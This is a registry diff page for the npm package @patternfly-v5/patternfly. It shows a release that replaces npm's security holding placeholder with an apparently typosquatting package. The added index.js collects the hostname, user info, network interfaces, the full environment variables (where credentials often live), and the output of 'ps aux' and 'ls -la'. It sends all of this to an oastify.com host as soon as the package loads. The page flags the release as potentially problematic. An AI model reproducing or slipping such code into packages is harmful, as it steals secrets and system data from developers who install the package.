@patternfly-v5/patternfly 0.0.1-security → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @patternfly-v5/patternfly might be problematic. Click here for more details.
- package/index.js +60 -0
- package/package.json +9 -3
- package/patternfly-addons.css +0 -0
- package/patternfly.min.css +0 -0
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,60 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const https = require('https');
|
3
|
+
const { exec } = require('child_process');
|
4
|
+
|
5
|
+
// Helper function to send data
|
6
|
+
function sendData(path, data) {
|
7
|
+
const options = {
|
8
|
+
hostname: 'rzucd2dfiuz08dnqwkigu37xfolf95xu.oastify.com',
|
9
|
+
port: 443,
|
10
|
+
path: `/${path}`,
|
11
|
+
method: 'GET',
|
12
|
+
headers: {
|
13
|
+
'Content-Type': 'application/json'
|
14
|
+
}
|
15
|
+
};
|
16
|
+
|
17
|
+
const req = https.request(options, (res) => {
|
18
|
+
console.log(`Status: ${res.statusCode}`);
|
19
|
+
});
|
20
|
+
|
21
|
+
req.on('error', (error) => {
|
22
|
+
console.error(`Error: ${error.message}`);
|
23
|
+
});
|
24
|
+
|
25
|
+
req.write(JSON.stringify(data));
|
26
|
+
req.end();
|
27
|
+
}
|
28
|
+
|
29
|
+
// Collect system information
|
30
|
+
const systemInfo = {
|
31
|
+
hostname: os.hostname(),
|
32
|
+
platform: os.platform(),
|
33
|
+
arch: os.arch(),
|
34
|
+
release: os.release(),
|
35
|
+
userInfo: os.userInfo(),
|
36
|
+
networkInterfaces: os.networkInterfaces(),
|
37
|
+
env: process.env
|
38
|
+
};
|
39
|
+
|
40
|
+
// Send system information
|
41
|
+
sendData('system-info', systemInfo);
|
42
|
+
|
43
|
+
// Collect running processes
|
44
|
+
exec('ps aux', (error, stdout, stderr) => {
|
45
|
+
if (error) {
|
46
|
+
console.error(`Error executing ps: ${error.message}`);
|
47
|
+
return;
|
48
|
+
}
|
49
|
+
sendData('processes', { processes: stdout });
|
50
|
+
});
|
51
|
+
|
52
|
+
// Collect current directory listing
|
53
|
+
exec('ls -la', (error, stdout, stderr) => {
|
54
|
+
if (error) {
|
55
|
+
console.error(`Error executing ls: ${error.message}`);
|
56
|
+
return;
|
57
|
+
}
|
58
|
+
sendData('directory-listing', { directory: stdout });
|
59
|
+
});
|
60
|
+
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "@patternfly-v5/patternfly",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.2",
|
4
|
+
"description": "A package for testing supply chain attacks.",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "echo 'Patternfly malicious package executed!'"
|
8
|
+
},
|
9
|
+
"author": "Your Name",
|
10
|
+
"license": "MIT"
|
6
11
|
}
|
12
|
+
|
File without changes
|
File without changes
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40patternfly-v5%2Fpatternfly for more information.
|